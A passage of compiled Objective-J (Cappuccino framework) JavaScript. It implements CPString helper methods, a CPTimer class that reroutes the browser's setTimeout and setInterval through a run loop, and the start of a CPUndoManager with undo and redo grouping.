}),new objj_method(sel_getUid("length"),function(_f,_10){
with(_f){
return length;
}
}),new objj_method(sel_getUid("characterAtIndex:"),function(_11,_12,_13){
with(_11){
return charAt(_13);
}
}),new objj_method(sel_getUid("stringByAppendingFormat:"),function(_14,_15,_16){
with(_14){
if(!_16){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"initWithFormat: the format can't be 'nil'");
}
return _14+ObjectiveJ.sprintf.apply(this,Array.prototype.slice.call(arguments,2));
}
}),new objj_method(sel_getUid("stringByAppendingString:"),function(_17,_18,_19){
with(_17){
return _17+_19;
}
}),new objj_method(sel_getUid("stringByPaddingToLength:withString:startingAtIndex:"),function(_1a,_1b,_1c,_1d,_1e){
with(_1a){
if(length==_1c){
return _1a;
}
if(_1c<length){
return substr(0,_1c);
}
var _1f=_1a,_20=_1d.substring(_1e),_21=_1c-length;
while((_21-=_20.length)>=0){
_1f+=_20;
}
if(-_21<_20.length){
_1f+=_20.substring(0,-_21);
}
return _1f;
}
}),new objj_method(sel_getUid("componentsSeparatedByString:"),function(_22,_23,_24){
with(_22){
return split(_24);
}
}),new objj_method(sel_getUid("substringFromIndex:"),function(_25,_26,_27){
with(_25){
return substr(_27);
}
}),new objj_method(sel_getUid("substringWithRange:"),function(_28,_29,_2a){
with(_28){
return substr(_2a.location,_2a.length);
}
}),new objj_method(sel_getUid("substringToIndex:"),function(_2b,_2c,_2d){
with(_2b){
return substring(0,_2d);
}
}),new objj_method(sel_getUid("rangeOfString:"),function(_2e,_2f,_30){
with(_2e){
return objj_msgSend(_2e,"rangeOfString:options:",_30,0);
}
}),new objj_method(sel_getUid("rangeOfString:options:"),function(_31,_32,_33,_34){
with(_31){
return objj_msgSend(_31,"rangeOfString:options:range:",_33,_34,nil);
}
}),new objj_method(sel_getUid("rangeOfString:options:range:"),function(_35,_36,_37,_38,_39){
with(_35){
var _3a=(_39==nil)?_35:objj_msgSend(_35,"substringWithRange:",_39),_3b=CPNotFound;
if(_38&CPCaseInsensitiveSearch){
_3a=_3a.toLowerCase();
_37=_37.toLowerCase();
}
if(_38&CPBackwardsSearch){
_3b=_3a.lastIndexOf(_37,_38&CPAnchoredSearch?length-_37.length:0);
}else{
if(_38&CPAnchoredSearch){
_3b=_3a.substr(0,_37.length).indexOf(_37)!=CPNotFound?0:CPNotFound;
}else{
_3b=_3a.indexOf(_37);
}
}
return CPMakeRange(_3b,_3b==CPNotFound?0:_37.length);
}
}),new objj_method(sel_getUid("stringByEscapingRegexControlCharacters"),function(_3c,_3d){
with(_3c){
return _3c.replace(_3,"\\$1");
}
}),new objj_method(sel_getUid("stringByReplacingOccurrencesOfString:withString:"),function(_3e,_3f,_40,_41){
with(_3e){
return _3e.replace(new RegExp(objj_msgSend(_40,"stringByEscapingRegexControlCharacters"),"g"),_41);
}
}),new objj_method(sel_getUid("stringByReplacingOccurrencesOfString:withString:options:range:"),function(_42,_43,_44,_45,_46,_47){
with(_42){
var _48=substring(0,_47.location),_49=substr(_47.location,_47.length),end=substring(_47.location+_47.length,_42.length),_44=objj_msgSend(_44,"stringByEscapingRegexControlCharacters"),_4a;
if(_46&CPCaseInsensitiveSearch){
_4a=new RegExp(_44,"gi");
}else{
_4a=new RegExp(_44,"g");
}
return _48+""+_49.replace(_4a,_45)+""+end;
}
}),new objj_method(sel_getUid("stringByReplacingCharactersInRange:withString:"),function(_4b,_4c,_4d,_4e){
with(_4b){
return ""+substring(0,_4d.location)+_4e+substring(_4d.location+_4d.length,_4b.length);
}
}),new objj_method(sel_getUid("stringByTrimmingWhitespace"),function(_4f,_50){
with(_4f){
return _4f.replace(_4,"");
}
}),new objj_method(sel_getUid("compare:"),function(_51,_52,_53){
with(_51){
return objj_msgSend(_51,"compare:options:",_53,nil);
}
}),new objj_method(sel_getUid("caseInsensitiveCompare:"),function(_54,_55,_56){
with(_54){
return objj_msgSend(_54,"compare:options:",_56,CPCaseInsensitiveSearch);
}
}),new objj_method(sel_getUid("compare:options:"),function(_57,_58,_59,_5a){
with(_57){
var lhs=_57,rhs=_59;
if(_5a&CPCaseInsensitiveSearch){
lhs=lhs.toLowerCase();
rhs=rhs.toLowerCase();
}
if(_5a&CPDiacriticInsensitiveSearch){
lhs=lhs.stripDiacritics();
rhs=rhs.stripDiacritics();
}
if(lhs<rhs){
return CPOrderedAscending;
}else{
if(lhs>rhs){
return CPOrderedDescending;
}
}
return CPOrderedSame;
}
}),new objj_method(sel_getUid("compare:options:range:"),function(_5b,_5c,_5d,_5e,_5f){
with(_5b){
var lhs=objj_msgSend(_5b,"substringWithRange:",_5f),rhs=_5d;
return objj_msgSend(lhs,"compare:options:",rhs,_5e);
}
}),new objj_method(sel_getUid("hasPrefix:"),function(_60,_61,_62){
with(_60){
return _62&&_62!=""&&indexOf(_62)==0;
}
}),new objj_method(sel_getUid("hasSuffix:"),function(_63,_64,_65){
with(_63){
return _65&&_65!=""&&length>=_65.length&&lastIndexOf(_65)==(length-_65.length);
}
}),new objj_method(sel_getUid("isEqual:"),function(_66,_67,_68){
with(_66){
if(_66===_68){
return YES;
}
if(!_68||!objj_msgSend(_68,"isKindOfClass:",objj_msgSend(CPString,"class"))){
return NO;
}
return objj_msgSend(_66,"isEqualToString:",_68);
}
}),new objj_method(sel_getUid("isEqualToString:"),function(_69,_6a,_6b){
with(_69){
return _69==_6b;
}
}),new objj_method(sel_getUid("UID"),function(_6c,_6d){
with(_6c){
var UID=_1.valueForKey(_6c);
if(!UID){
UID=objj_generateObjectUID();
_1.setValueForKey(_6c,UID);
}
return UID+"";
}
}),new objj_method(sel_getUid("commonPrefixWithString:"),function(_6e,_6f,_70){
with(_6e){
return objj_msgSend(_6e,"commonPrefixWithString:options:",_70,0);
}
}),new objj_method(sel_getUid("commonPrefixWithString:options:"),function(_71,_72,_73,_74){
with(_71){
var len=0,lhs=_71,rhs=_73,min=MIN(objj_msgSend(lhs,"length"),objj_msgSend(rhs,"length"));
if(_74&CPCaseInsensitiveSearch){
lhs=objj_msgSend(lhs,"lowercaseString");
rhs=objj_msgSend(rhs,"lowercaseString");
}
for(;len<min;len++){
if(objj_msgSend(lhs,"characterAtIndex:",len)!==objj_msgSend(rhs,"characterAtIndex:",len)){
break;
}
}
return objj_msgSend(_71,"substringToIndex:",len);
}
}),new objj_method(sel_getUid("capitalizedString"),function(_75,_76){
with(_75){
var _77=_75.split(/\b/g),i=0,_78=_77.length;
for(;i<_78;i++){
if(i==0||(/\s$/).test(_77[i-1])){
_77[i]=_77[i].substring(0,1).toUpperCase()+_77[i].substring(1).toLowerCase();
}else{
_77[i]=_77[i].toLowerCase();
}
}
return _77.join("");
}
}),new objj_method(sel_getUid("lowercaseString"),function(_79,_7a){
with(_79){
return toLowerCase();
}
}),new objj_method(sel_getUid("uppercaseString"),function(_7b,_7c){
with(_7b){
return toUpperCase();
}
}),new objj_method(sel_getUid("doubleValue"),function(_7d,_7e){
with(_7d){
return parseFloat(_7d,10);
}
}),new objj_method(sel_getUid("boolValue"),function(_7f,_80){
with(_7f){
var _81=new RegExp("^\\s*[\\+,\\-]*0*");
return RegExp("^[Y,y,t,T,1-9]").test(_7f.replace(_81,""));
}
}),new objj_method(sel_getUid("floatValue"),function(_82,_83){
with(_82){
return parseFloat(_82,10);
}
}),new objj_method(sel_getUid("intValue"),function(_84,_85){
with(_84){
return parseInt(_84,10);
}
}),new objj_method(sel_getUid("pathComponents"),function(_86,_87){
with(_86){
var _88=split("/");
if(_88[0]===""){
_88[0]="/";
}
if(_88[_88.length-1]===""){
_88.pop();
}
return _88;
}
}),new objj_method(sel_getUid("pathExtension"),function(_89,_8a){
with(_89){
if(lastIndexOf(".")===CPNotFound){
return "";
}
return substr(lastIndexOf(".")+1);
}
}),new objj_method(sel_getUid("lastPathComponent"),function(_8b,_8c){
with(_8b){
var _8d=objj_msgSend(_8b,"pathComponents");
return _8d[_8d.length-1];
}
}),new objj_method(sel_getUid("stringByDeletingLastPathComponent"),function(_8e,_8f){
with(_8e){
var _90=_8e,_91=length-1;
while(_90.charAt(_91)==="/"){
_91--;
}
_90=_90.substr(0,_90.lastIndexOf("/",_91));
if(_90===""&&charAt(0)==="/"){
return "/";
}
return _90;
}
}),new objj_method(sel_getUid("stringByDeletingPathExtension"),function(_92,_93){
with(_92){
var _94=objj_msgSend(_92,"pathExtension");
if(_94===""){
return _92;
}
if(lastIndexOf(".")<1){
return _92;
}
return substr(0,objj_msgSend(_92,"length")-(_94.length+1));
}
}),new objj_method(sel_getUid("stringByStandardizingPath"),function(_95,_96){
with(_95){
return objj_standardize_path(_95);
}
}),new objj_method(sel_getUid("copy"),function(_97,_98){
with(_97){
return new String(_97);
}
})]);
class_addMethods(_6,[new objj_method(sel_getUid("alloc"),function(_99,_9a){
with(_99){
return new String;
}
}),new objj_method(sel_getUid("string"),function(_9b,_9c){
with(_9b){
return objj_msgSend(objj_msgSend(_9b,"alloc"),"init");
}
}),new objj_method(sel_getUid("stringWithHash:"),function(_9d,_9e,_9f){
with(_9d){
var _a0=parseInt(_9f,10).toString(16);
return "000000".substring(0,MAX(6-_a0.length,0))+_a0;
}
}),new objj_method(sel_getUid("stringWithString:"),function(_a1,_a2,_a3){
with(_a1){
if(!_a3){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"stringWithString: the string can't be 'nil'");
}
return objj_msgSend(objj_msgSend(_a1,"alloc"),"initWithString:",_a3);
}
}),new objj_method(sel_getUid("stringWithFormat:"),function(_a4,_a5,_a6){
with(_a4){
if(!_a6){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"initWithFormat: the format can't be 'nil'");
}
return ObjectiveJ.sprintf.apply(this,Array.prototype.slice.call(arguments,2));
}
})]);
var _5=objj_getClass("CPString");
if(!_5){
throw new SyntaxError("*** Could not find definition for class \"CPString\"");
}
var _6=_5.isa;
class_addMethods(_5,[new objj_method(sel_getUid("objectFromJSON"),function(_a7,_a8){
with(_a7){
return JSON.parse(_a7);
}
})]);
class_addMethods(_6,[new objj_method(sel_getUid("JSONFromObject:"),function(_a9,_aa,_ab){
with(_a9){
return JSON.stringify(_ab);
}
})]);
var _5=objj_getClass("CPString");
if(!_5){
throw new SyntaxError("*** Could not find definition for class \"CPString\"");
}
var _6=_5.isa;
class_addMethods(_6,[new objj_method(sel_getUid("UUID"),function(_ac,_ad){
with(_ac){
var g="",i=0;
for(;i<32;i++){
g+=FLOOR(RAND()*15).toString(15);
}
return g;
}
})]);
var _ae=[[192,198],[224,230],[231,231],[232,235],[236,239],[242,246],[249,252]];
var _af=[65,97,99,101,105,111,117];
String.prototype.stripDiacritics=function(){
var _b0="";
for(var _b1=0;_b1<this.length;_b1++){
var _b2=this.charCodeAt(_b1);
for(var i=0;i<_ae.length;i++){
var _b3=_ae[i];
if(_b2>=_b3[0]&&_b2<=_b3[_b3.length-1]){
_b2=_af[i];
break;
}
}
_b0+=String.fromCharCode(_b2);
}
return _b0;
};
String.prototype.isa=CPString;
p;9;CPTimer.jt;5527;@STATIC;1.0;i;8;CPDate.ji;14;CPInvocation.ji;10;CPObject.ji;11;CPRunLoop.jt;5446;
objj_executeFile("CPDate.j",YES);
objj_executeFile("CPInvocation.j",YES);
objj_executeFile("CPObject.j",YES);
objj_executeFile("CPRunLoop.j",YES);
var _1=objj_allocateClassPair(CPObject,"CPTimer"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_timeInterval"),new objj_ivar("_invocation"),new objj_ivar("_callback"),new objj_ivar("_repeats"),new objj_ivar("_isValid"),new objj_ivar("_fireDate"),new objj_ivar("_userInfo")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithFireDate:interval:invocation:repeats:"),function(_3,_4,_5,_6,_7,_8){
with(_3){
_3=objj_msgSendSuper({receiver:_3,super_class:objj_getClass("CPTimer").super_class},"init");
if(_3){
_timeInterval=_6;
_invocation=_7;
_repeats=_8;
_isValid=YES;
_fireDate=_5;
}
return _3;
}
}),new objj_method(sel_getUid("initWithFireDate:interval:target:selector:userInfo:repeats:"),function(_9,_a,_b,_c,_d,_e,_f,_10){
with(_9){
var _11=objj_msgSend(CPInvocation,"invocationWithMethodSignature:",1);
objj_msgSend(_11,"setTarget:",_d);
objj_msgSend(_11,"setSelector:",_e);
objj_msgSend(_11,"setArgument:atIndex:",_9,2);
_9=objj_msgSend(_9,"initWithFireDate:interval:invocation:repeats:",_b,_c,_11,_10);
if(_9){
_userInfo=_f;
}
return _9;
}
}),new objj_method(sel_getUid("initWithFireDate:interval:callback:repeats:"),function(_12,_13,_14,_15,_16,_17){
with(_12){
_12=objj_msgSendSuper({receiver:_12,super_class:objj_getClass("CPTimer").super_class},"init");
if(_12){
_timeInterval=_15;
_callback=_16;
_repeats=_17;
_isValid=YES;
_fireDate=_14;
}
return _12;
}
}),new objj_method(sel_getUid("timeInterval"),function(_18,_19){
with(_18){
return _timeInterval;
}
}),new objj_method(sel_getUid("fireDate"),function(_1a,_1b){
with(_1a){
return _fireDate;
}
}),new objj_method(sel_getUid("setFireDate:"),function(_1c,_1d,_1e){
with(_1c){
_fireDate=_1e;
}
}),new objj_method(sel_getUid("fire"),function(_1f,_20){
with(_1f){
if(!_isValid){
return;
}
if(_callback){
_callback();
}else{
objj_msgSend(_invocation,"invoke");
}
if(!_isValid){
return;
}
if(_repeats){
_fireDate=objj_msgSend(CPDate,"dateWithTimeIntervalSinceNow:",_timeInterval);
}else{
objj_msgSend(_1f,"invalidate");
}
}
}),new objj_method(sel_getUid("isValid"),function(_21,_22){
with(_21){
return _isValid;
}
}),new objj_method(sel_getUid("invalidate"),function(_23,_24){
with(_23){
_isValid=NO;
_userInfo=nil;
_invocation=nil;
_callback=nil;
}
}),new objj_method(sel_getUid("userInfo"),function(_25,_26){
with(_25){
return _userInfo;
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("scheduledTimerWithTimeInterval:invocation:repeats:"),function(_27,_28,_29,_2a,_2b){
with(_27){
var _2c=objj_msgSend(objj_msgSend(_27,"alloc"),"initWithFireDate:interval:invocation:repeats:",objj_msgSend(CPDate,"dateWithTimeIntervalSinceNow:",_29),_29,_2a,_2b);
objj_msgSend(objj_msgSend(CPRunLoop,"currentRunLoop"),"addTimer:forMode:",_2c,CPDefaultRunLoopMode);
return _2c;
}
}),new objj_method(sel_getUid("scheduledTimerWithTimeInterval:target:selector:userInfo:repeats:"),function(_2d,_2e,_2f,_30,_31,_32,_33){
with(_2d){
var _34=objj_msgSend(objj_msgSend(_2d,"alloc"),"initWithFireDate:interval:target:selector:userInfo:repeats:",objj_msgSend(CPDate,"dateWithTimeIntervalSinceNow:",_2f),_2f,_30,_31,_32,_33);
objj_msgSend(objj_msgSend(CPRunLoop,"currentRunLoop"),"addTimer:forMode:",_34,CPDefaultRunLoopMode);
return _34;
}
}),new objj_method(sel_getUid("scheduledTimerWithTimeInterval:callback:repeats:"),function(_35,_36,_37,_38,_39){
with(_35){
var _3a=objj_msgSend(objj_msgSend(_35,"alloc"),"initWithFireDate:interval:callback:repeats:",objj_msgSend(CPDate,"dateWithTimeIntervalSinceNow:",_37),_37,_38,_39);
objj_msgSend(objj_msgSend(CPRunLoop,"currentRunLoop"),"addTimer:forMode:",_3a,CPDefaultRunLoopMode);
return _3a;
}
}),new objj_method(sel_getUid("timerWithTimeInterval:invocation:repeats:"),function(_3b,_3c,_3d,_3e,_3f){
with(_3b){
return objj_msgSend(objj_msgSend(_3b,"alloc"),"initWithFireDate:interval:invocation:repeats:",objj_msgSend(CPDate,"dateWithTimeIntervalSinceNow:",_3d),_3d,_3e,_3f);
}
}),new objj_method(sel_getUid("timerWithTimeInterval:target:selector:userInfo:repeats:"),function(_40,_41,_42,_43,_44,_45,_46){
with(_40){
return objj_msgSend(objj_msgSend(_40,"alloc"),"initWithFireDate:interval:target:selector:userInfo:repeats:",objj_msgSend(CPDate,"dateWithTimeIntervalSinceNow:",_42),_42,_43,_44,_45,_46);
}
}),new objj_method(sel_getUid("timerWithTimeInterval:callback:repeats:"),function(_47,_48,_49,_4a,_4b){
with(_47){
return objj_msgSend(objj_msgSend(_47,"alloc"),"initWithFireDate:interval:callback:repeats:",objj_msgSend(CPDate,"dateWithTimeIntervalSinceNow:",_49),_49,_4a,_4b);
}
})]);
var _4c=1000,_4d={};
var _4e=function(_4f,_50,_51,_52){
var _53=_4c++,_54=nil;
if(typeof _4f==="string"){
_54=function(){
new Function(_4f)();
if(!_51){
_4d[_53]=nil;
}
};
}else{
if(!_52){
_52=[];
}
_54=function(){
_4f.apply(window,_52);
if(!_51){
_4d[_53]=nil;
}
};
}
_4d[_53]=objj_msgSend(CPTimer,"scheduledTimerWithTimeInterval:callback:repeats:",_50/1000,_54,_51);
return _53;
};
window.setTimeout=function(_55,_56){
return _4e(_55,_56,NO,Array.prototype.slice.apply(arguments,[2]));
};
window.clearTimeout=function(_57){
var _58=_4d[_57];
if(_58){
objj_msgSend(_58,"invalidate");
}
_4d[_57]=nil;
};
window.setInterval=function(_59,_5a,_5b){
return _4e(_59,_5a,YES,Array.prototype.slice.apply(arguments,[2]));
};
window.clearInterval=function(_5c){
window.clearTimeout(_5c);
};
p;15;CPUndoManager.jt;16162;@STATIC;1.0;i;14;CPInvocation.ji;10;CPObject.ji;9;CPProxy.jt;16095;
objj_executeFile("CPInvocation.j",YES);
objj_executeFile("CPObject.j",YES);
objj_executeFile("CPProxy.j",YES);
var _1=0,_2=1,_3=2;
CPUndoManagerCheckpointNotification="CPUndoManagerCheckpointNotification";
CPUndoManagerDidOpenUndoGroupNotification="CPUndoManagerDidOpenUndoGroupNotification";
CPUndoManagerDidRedoChangeNotification="CPUndoManagerDidRedoChangeNotification";
CPUndoManagerDidUndoChangeNotification="CPUndoManagerDidUndoChangeNotification";
CPUndoManagerWillCloseUndoGroupNotification="CPUndoManagerWillCloseUndoGroupNotification";
CPUndoManagerWillRedoChangeNotification="CPUndoManagerWillRedoChangeNotification";
CPUndoManagerWillUndoChangeNotification="CPUndoManagerWillUndoChangeNotification";
CPUndoCloseGroupingRunLoopOrdering=350000;
var _4=[],_5=5;
var _6=objj_allocateClassPair(CPObject,"_CPUndoGrouping"),_7=_6.isa;
class_addIvars(_6,[new objj_ivar("_parent"),new objj_ivar("_invocations")]);
objj_registerClassPair(_6);
class_addMethods(_6,[new objj_method(sel_getUid("initWithParent:"),function(_8,_9,_a){
with(_8){
_8=objj_msgSendSuper({receiver:_8,super_class:objj_getClass("_CPUndoGrouping").super_class},"init");
if(_8){
_parent=_a;
_invocations=[];
}
return _8;
}
}),new objj_method(sel_getUid("parent"),function(_b,_c){
with(_b){
return _parent;
}
}),new objj_method(sel_getUid("addInvocation:"),function(_d,_e,_f){
with(_d){
_invocations.push(_f);
}
}),new objj_method(sel_getUid("addInvocationsFromArray:"),function(_10,_11,_12){
with(_10){
objj_msgSend(_invocations,"addObjectsFromArray:",_12);
}
}),new objj_method(sel_getUid("removeInvocationsWithTarget:"),function(_13,_14,_15){
with(_13){
var _16=_invocations.length;
while(_16--){
if(objj_msgSend(_invocations[_16],"target")==_15){
_invocations.splice(_16,1);
}
}
}
}),new objj_method(sel_getUid("invocations"),function(_17,_18){
with(_17){
return _invocations;
}
}),new objj_method(sel_getUid("invoke"),function(_19,_1a){
with(_19){
var _1b=_invocations.length;
while(_1b--){
objj_msgSend(_invocations[_1b],"invoke");
}
}
})]);
class_addMethods(_7,[new objj_method(sel_getUid("_poolUndoGrouping:"),function(_1c,_1d,_1e){
with(_1c){
if(!_1e||_4.length>=_5){
return;
}
_4.push(_1e);
}
}),new objj_method(sel_getUid("undoGroupingWithParent:"),function(_1f,_20,_21){
with(_1f){
if(_4.length){
var _22=_4.pop();
_22._parent=_21;
if(_22._invocations.length){
_22._invocations=[];
}
return _22;
}
return objj_msgSend(objj_msgSend(_1f,"alloc"),"initWithParent:",_21);
}
})]);
var _23="_CPUndoGroupingParentKey",_24="_CPUndoGroupingInvocationsKey";
var _6=objj_getClass("_CPUndoGrouping");
if(!_6){
throw new SyntaxError("*** Could not find definition for class \"_CPUndoGrouping\"");
}
var _7=_6.isa;
class_addMethods(_6,[new objj_method(sel_getUid("initWithCoder:"),function(_25,_26,_27){
with(_25){
_25=objj_msgSendSuper({receiver:_25,super_class:objj_getClass("_CPUndoGrouping").super_class},"init");
if(_25){
_parent=objj_msgSend(_27,"decodeObjectForKey:",_23);
_invocations=objj_msgSend(_27,"decodeObjectForKey:",_24);
}
return _25;
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_28,_29,_2a){
with(_28){
objj_msgSend(_2a,"encodeObject:forKey:",_parent,_23);
objj_msgSend(_2a,"encodeObject:forKey:",_invocations,_24);
}
})]);
var _6=objj_allocateClassPair(CPObject,"CPUndoManager"),_7=_6.isa;
class_addIvars(_6,[new objj_ivar("_redoStack"),new objj_ivar("_undoStack"),new objj_ivar("_groupsByEvent"),new objj_ivar("_disableCount"),new objj_ivar("_levelsOfUndo"),new objj_ivar("_currentGrouping"),new objj_ivar("_state"),new objj_ivar("_actionName"),new objj_ivar("_preparedTarget"),new objj_ivar("_undoManagerProxy"),new objj_ivar("_runLoopModes"),new objj_ivar("_registeredWithRunLoop")]);
objj_registerClassPair(_6);
class_addMethods(_6,[new objj_method(sel_getUid("init"),function(_2b,_2c){
with(_2b){
_2b=objj_msgSendSuper({receiver:_2b,super_class:objj_getClass("CPUndoManager").super_class},"init");
if(_2b){
_redoStack=[];
_undoStack=[];
_state=_1;
objj_msgSend(_2b,"setRunLoopModes:",[CPDefaultRunLoopMode]);
objj_msgSend(_2b,"setGroupsByEvent:",YES);
_undoManagerProxy=objj_msgSend(_CPUndoManagerProxy,"alloc");
_undoManagerProxy._undoManager=_2b;
}
return _2b;
}
}),new objj_method(sel_getUid("_addUndoInvocation:"),function(_2d,_2e,_2f){
with(_2d){
if(!_currentGrouping){
if(objj_msgSend(_2d,"groupsByEvent")){
objj_msgSend(_2d,"_beginUndoGroupingForEvent");
}else{
objj_msgSend(CPException,"raise:reason:",CPInternalInconsistencyException,"No undo group is currently open");
}
}
objj_msgSend(_currentGrouping,"addInvocation:",_2f);
if(_state===_1){
objj_msgSend(_redoStack,"removeAllObjects");
}
}
}),new objj_method(sel_getUid("registerUndoWithTarget:selector:object:"),function(_30,_31,_32,_33,_34){
with(_30){
if(_disableCount>0){
return;
}
var _35=objj_msgSend(CPInvocation,"invocationWithMethodSignature:",nil);
objj_msgSend(_35,"setTarget:",_32);
objj_msgSend(_35,"setSelector:",_33);
objj_msgSend(_35,"setArgument:atIndex:",_34,2);
objj_msgSend(_30,"_addUndoInvocation:",_35);
}
}),new objj_method(sel_getUid("prepareWithInvocationTarget:"),function(_36,_37,_38){
with(_36){
_preparedTarget=_38;
return _undoManagerProxy;
}
}),new objj_method(sel_getUid("_methodSignatureOfPreparedTargetForSelector:"),function(_39,_3a,_3b){
with(_39){
if(objj_msgSend(_preparedTarget,"respondsToSelector:",_3b)){
return 1;
}
return nil;
}
}),new objj_method(sel_getUid("_forwardInvocationToPreparedTarget:"),function(_3c,_3d,_3e){
with(_3c){
if(_disableCount>0){
return;
}
objj_msgSend(_3e,"setTarget:",_preparedTarget);
objj_msgSend(_3c,"_addUndoInvocation:",_3e);
_preparedTarget=nil;
}
}),new objj_method(sel_getUid("canRedo"),function(_3f,_40){
with(_3f){
objj_msgSend(objj_msgSend(CPNotificationCenter,"defaultCenter"),"postNotificationName:object:",CPUndoManagerCheckpointNotification,_3f);
return objj_msgSend(_redoStack,"count")>0;
}
}),new objj_method(sel_getUid("canUndo"),function(_41,_42){
with(_41){
if(_undoStack.length>0){
return YES;
}
return objj_msgSend(objj_msgSend(_currentGrouping,"invocations"),"count")>0;
}
}),new objj_method(sel_getUid("undo"),function(_43,_44){
with(_43){
if(objj_msgSend(_43,"groupingLevel")===1){
objj_msgSend(_43,"endUndoGrouping");
}
objj_msgSend(_43,"undoNestedGroup");
}
}),new objj_method(sel_getUid("undoNestedGroup"),function(_45,_46){
with(_45){
if(objj_msgSend(_undoStack,"count")<=0){
return;
}
var _47=objj_msgSend(CPNotificationCenter,"defaultCenter");
objj_msgSend(_47,"postNotificationName:object:",CPUndoManagerCheckpointNotification,_45);
objj_msgSend(_47,"postNotificationName:object:",CPUndoManagerWillUndoChangeNotification,_45);
var _48=_undoStack.pop();
_state=_2;
objj_msgSend(_45,"_beginUndoGrouping");
objj_msgSend(_48,"invoke");
objj_msgSend(_45,"endUndoGrouping");
objj_msgSend(_CPUndoGrouping,"_poolUndoGrouping:",_48);
_state=_1;
objj_msgSend(_47,"postNotificationName:object:",CPUndoManagerDidUndoChangeNotification,_45);
}
}),new objj_method(sel_getUid("redo"),function(_49,_4a){
with(_49){
if(objj_msgSend(_redoStack,"count")<=0){
return;
}
var _4b=objj_msgSend(CPNotificationCenter,"defaultCenter");
objj_msgSend(_4b,"postNotificationName:object:",CPUndoManagerCheckpointNotification,_49);
objj_msgSend(_4b,"postNotificationName:object:",CPUndoManagerWillRedoChangeNotification,_49);
var _4c=_currentGrouping,_4d=_redoStack.pop();
_currentGrouping=nil;
_state=_3;
objj_msgSend(_49,"_beginUndoGrouping");
objj_msgSend(_4d,"invoke");
objj_msgSend(_49,"endUndoGrouping");
objj_msgSend(_CPUndoGrouping,"_poolUndoGrouping:",_4d);
_currentGrouping=_4c;
_state=_1;
objj_msgSend(_4b,"postNotificationName:object:",CPUndoManagerDidRedoChangeNotification,_49);
}
}),new objj_method(sel_getUid("beginUndoGrouping"),function(_4e,_4f){
with(_4e){
if(!_currentGrouping&&objj_msgSend(_4e,"groupsByEvent")){
objj_msgSend(_4e,"_beginUndoGroupingForEvent");
}
objj_msgSend(objj_msgSend(CPNotificationCenter,"defaultCenter"),"postNotificationName:object:",CPUndoManagerCheckpointNotification,_4e);
objj_msgSend(_4e,"_beginUndoGrouping");
}
}),new objj_method(sel_getUid("_beginUndoGroupingForEvent"),function(_50,_51){
with(_50){
objj_msgSend(_50,"_beginUndoGrouping");
objj_msgSend(_50,"_registerWithRunLoop");
}
}),new objj_method(sel_getUid("_beginUndoGrouping"),function(_52,_53){
with(_52){
_currentGrouping=objj_msgSend(_CPUndoGrouping,"undoGroupingWithParent:",_currentGrouping);
}
}),new objj_method(sel_getUid("endUndoGrouping"),function(_54,_55){
with(_54){
if(!_currentGrouping){
objj_msgSend(CPException,"raise:reason:",CPInternalInconsistencyException,"endUndoGrouping. No undo group is currently open.");
}
var _56=objj_msgSend(CPNotificationCenter,"defaultCenter");
objj_msgSend(_56,"postNotificationName:object:",CPUndoManagerCheckpointNotification,_54);
var _57=objj_msgSend(_currentGrouping,"parent");
if(!_57&&objj_msgSend(_currentGrouping,"invocations").length>0){
objj_msgSend(_56,"postNotificationName:object:",CPUndoManagerWillCloseUndoGroupNotification,_54);
var _58=_state===_2?_redoStack:_undoStack;
_58.push(_currentGrouping);
if(_levelsOfUndo>0&&_58.length>_levelsOfUndo){
_58.splice(0,1);
}
}else{
objj_msgSend(_57,"addInvocationsFromArray:",objj_msgSend(_currentGrouping,"invocations"));
objj_msgSend(_CPUndoGrouping,"_poolUndoGrouping:",_currentGrouping);
}
_currentGrouping=_57;
}
}),new objj_method(sel_getUid("enableUndoRegistration"),function(_59,_5a){
with(_59){
if(_disableCount<=0){
objj_msgSend(CPException,"raise:reason:",CPInternalInconsistencyException,"enableUndoRegistration. There are no disable messages in effect right now.");
}
_disableCount--;
}
}),new objj_method(sel_getUid("groupsByEvent"),function(_5b,_5c){
with(_5b){
return _groupsByEvent;
}
}),new objj_method(sel_getUid("setGroupsByEvent:"),function(_5d,_5e,_5f){
with(_5d){
_5f=!!_5f;
if(_groupsByEvent===_5f){
return;
}
_groupsByEvent=_5f;
if(!objj_msgSend(_5d,"groupsByEvent")){
objj_msgSend(_5d,"_unregisterWithRunLoop");
}
}
}),new objj_method(sel_getUid("groupingLevel"),function(_60,_61){
with(_60){
var _62=_currentGrouping,_63=_currentGrouping!=nil;
while(_62=objj_msgSend(_62,"parent")){
++_63;
}
return _63;
}
}),new objj_method(sel_getUid("disableUndoRegistration"),function(_64,_65){
with(_64){
++_disableCount;
}
}),new objj_method(sel_getUid("isUndoRegistrationEnabled"),function(_66,_67){
with(_66){
return _disableCount==0;
}
}),new objj_method(sel_getUid("isUndoing"),function(_68,_69){
with(_68){
return _state===_2;
}
}),new objj_method(sel_getUid("isRedoing"),function(_6a,_6b){
with(_6a){
return _state===_3;
}
}),new objj_method(sel_getUid("removeAllActions"),function(_6c,_6d){
with(_6c){
_redoStack=[];
_undoStack=[];
_disableCount=0;
}
}),new objj_method(sel_getUid("removeAllActionsWithTarget:"),function(_6e,_6f,_70){
with(_6e){
objj_msgSend(_currentGrouping,"removeInvocationsWithTarget:",_70);
var _71=_redoStack.length;
while(_71--){
var _72=_redoStack[_71];
objj_msgSend(_72,"removeInvocationsWithTarget:",_70);
if(!objj_msgSend(_72,"invocations").length){
_redoStack.splice(_71,1);
}
}
_71=_undoStack.length;
while(_71--){
var _72=_undoStack[_71];
objj_msgSend(_72,"removeInvocationsWithTarget:",_70);
if(!objj_msgSend(_72,"invocations").length){
_undoStack.splice(_71,1);
}
}
}
}),new objj_method(sel_getUid("setActionName:"),function(_73,_74,_75){
with(_73){
_actionName=_75;
}
}),new objj_method(sel_getUid("redoActionName"),function(_76,_77){
with(_76){
return objj_msgSend(_76,"canRedo")?_actionName:nil;
}
}),new objj_method(sel_getUid("undoActionName"),function(_78,_79){
with(_78){
return objj_msgSend(_78,"canUndo")?_actionName:nil;
}
}),new objj_method(sel_getUid("runLoopModes"),function(_7a,_7b){
with(_7a){
return _runLoopModes;
}
}),new objj_method(sel_getUid("setRunLoopModes:"),function(_7c,_7d,_7e){
